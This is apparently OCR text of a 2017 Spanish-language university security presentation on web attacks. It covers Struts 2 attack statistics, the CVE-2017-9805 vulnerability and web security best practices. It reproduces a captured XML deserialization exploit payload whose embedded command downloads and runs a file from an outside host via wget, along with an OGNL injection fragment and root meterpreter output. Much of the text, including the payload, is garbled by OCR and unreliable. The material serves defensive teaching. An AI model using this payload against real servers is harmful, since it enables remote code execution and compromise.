rameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0], %2 3w.print(
%23str),%23w.close(),17

%23xx:%23request.toString& kpp=\ =%20&encoding

Universidad Nacional Autonoma de México, REDISYBD 19/09/2017




El recuento de los danos

2000000
1800000
1600000
1400000

1200000
5 sitios 1000000

vulnerables 2 servidores 200000

comprometidos )
600000

400000

200000

2011 2012 2013 2014 2015 2016 2017

Number of users Kaspersky Lab protected from malicious cryptocurrency miners from 2011 to 2017

Kaspersky Lab, 2017

Universidad Nacional Autonoma de México, REDISYBD
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Estadisticas en DGP

15 dias marzo:
» 7500 ataques struts 2
+ 16000 ataques web

15 dias mayo:
« 2500 ataques struts 2
» 7800 ataques web

15 dias junio:
» 1100 ataques struts 2
* 6500 ataques web

15 dias de julio
» 3000 ataques struts 2
+ 10300 ataques web

Ataques WEB

OStruts M@Otros Ataques

19/09/2017




CVE-2017-9805

« 7 septiembre de 2017

 30-Day

" struts  Ejecucion remota de comandos
* Permisos de administracion

neterpreter = getuid
server username: uid=0, gid=0, euid=0, egid=0




Descripcion de la vulnerabilidad

» Sitio de apache:

* Posible ejecucion de codigo remoto cuando se utiliza el plugin REST con el
manejador para deserializacion de solicitudes XML.

 Critica.
» Actualizar a Struts 2.3.34 o Struts 2.5.13.

Universidad Nacional Autonoma de México, REDISYBD 19/09/2017


https://cwiki.apache.org/confluence/display/WW/S2-052
https://cwiki.apache.org/confluence/display/WW/S2-052
https://cwiki.apache.org/confluence/display/WW/S2-052

Payload

POST A H T TP/1.1

Host: 132

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/xmil

Content-Length: 2452

<map=>
=entry>
<jdk.nashorn.internal.objects.NativeString =
<flags=0</flags>
<value class="com.sun.xmlinternal.bind.v2.runtime.unrmarshaller.Baset4Data" >
<dataHandler=
=dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmiDataSource” >
=is class="javax.crypto.CipherlnputStream™=
=cipher class="javax.crypto.NullCipher" =
<initialized >false </intialzed >
<opmode=0</opmode=
=servicelterator class="javax.imageio.spi.Fiterterator" =
<iter class="javax.imageio.spi.Fitterlterator" =
=iter class="java.util.Collections$Emptylterator”/ =
next class="jgyg.lang.ProcessBuider=
A </string> <string=-c</string > <string=waget -q0 /tmp/scVetZdn http:,.“,.’_g‘.-'-."l:ucpEHF;cthd +x /tmp/scVetZdn;/tmp/scVetZdn;rm £ ftmp/

L= !
scVetZdn</string>
esidadNagionak /
=redirecterrorscream:=false < /redirectErrorStream:

</next>




Mejores practicas de seguridad para
tecnologias web

[ﬂ https:l/www.yourdomain.com‘

Open Source Web Application Firewall Con neCt

ModSecurity eamia @ ¢~ openiD
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Mejores practicas de seguridad:

¢ Seguridad desde el disefio
» Codificacion segura y actualizacion de software continuamente
* Uso de protocolos y tecnologias seguras

¢ Configuracién adecuada de las tecnologias web
* prevenir divulgacion de informacion
 autorizacion adecuada a los recursos

** Uso de un ambiente de seguridad en capas
* Firewall de aplicacion, DNS distribuidos, IDS...



Seguridad desde el disefno

Uso de técnicas de programacion adecuadas para disminuir los ataques de
inyeccion de codigo:

Sanitizacion de datos validacion de datos

* Borrar los caracteres problematicos: "\';--<>

* Inhabilitar los caracteres problematicos: \'\;\-\\

Los datos de entrada son preseleccionados de una lista o

\<\> magic_quotes, mysql_real_escape_string() diccionario de nombres, direcciones, palabras, etc. Lo que no
» Separar los datos del codigo explicitamente: coincida con estos son rechazados.

prepared statements
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Seguridad desde el disefno

* Correccion continua de errores de programacion, actualizaciones de
bibliotecas, frameworks, y tecnologias web.

* Uso de sistemas de control de versiones, ambiente de pruebay
realizacion de pruebas de seguridad.

i PLOIT

HETABASE

The Open Web Application
Security Project
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Seguridad desde el disefno

* Tecnologias y protocolos seguros:

© http &g <IEITS

19/09/2017

1

“Secure Py G https

Universidad Nacional Auténoma de México, REDISYBD

Your connection is not private

Attackers might be trying to steal your information from
passwords, messages, or credit cards).

(for example,

O Automatically report details of possible security incidents to Google. Privacy policy

Back to safety

: its security certificate is not trusted
by your computer's operating system. This may be caused by a misconfiguration or an

HIDE ADVANCED

This server could not prove that it is

attacker intercepting your connection.

Proceed to (unsafe)

B Let’s Encrypt

,m@m',

@& https://www.yourdomain.com

V/symantec. 1 ceust COMOD O O\digicert

thawte Entrust @ Globalsion. R cebadqy

1t's go time
network - i
solutions HISSLcon (&) startcom” SY(3R

Pa Trustwave' RapidSSL.



Configuracion adecuada de las tecnologias
web

Algunos ejemplos:

* Exponer unicamente los puertos necesarios.

* Uso de servicios o tecnologias actualizadas.

* Uso del menor privilegio dentro del sistema operativo.

* Habilitar las bitacoras relevantes a la seguridad.

* Evitar que en produccion haya modos de debug o que divulgen
informacion.

* Eliminar banners que den indicios sobre los servicios que estan en
funcionamiento (cuando sea posible).

* No divulgar informacion relevante en el cédigo fuente visto por el
cliente.
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Seguridad informatica en capas

* Diversas capas de seguridad en la aplicacion

Actualizacion

Firewall
IDPS de
aplicacion

Seguridad
perimetral

WAF!

19/09/2017

continua

Protocolos
Seguros

Hardening

del servidor

Connect
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Cifrado de

datos

1B7125G0 024FG002 53D03C00 AD722500
IBDO3C0O0O 887525C1l 01A07700 37D14DO0O
B7125G0 024FG002 53D03C00 AD72250C
BDO0O3C00 887525C1 53414247
F4F3D41 4242434E 6469204
"/6C2F4F 553D4553 4F3D4l 4
425604 003 > 0003424
003042 4C 024E4E4F O0OO0B1D3!
8833BOCC 2957EE
DFO38D7F Al4217
2AA4D 04143B75 4F571C83 535CO0O¢
7DEDS B57C659E C820EEQ07 / FAASF







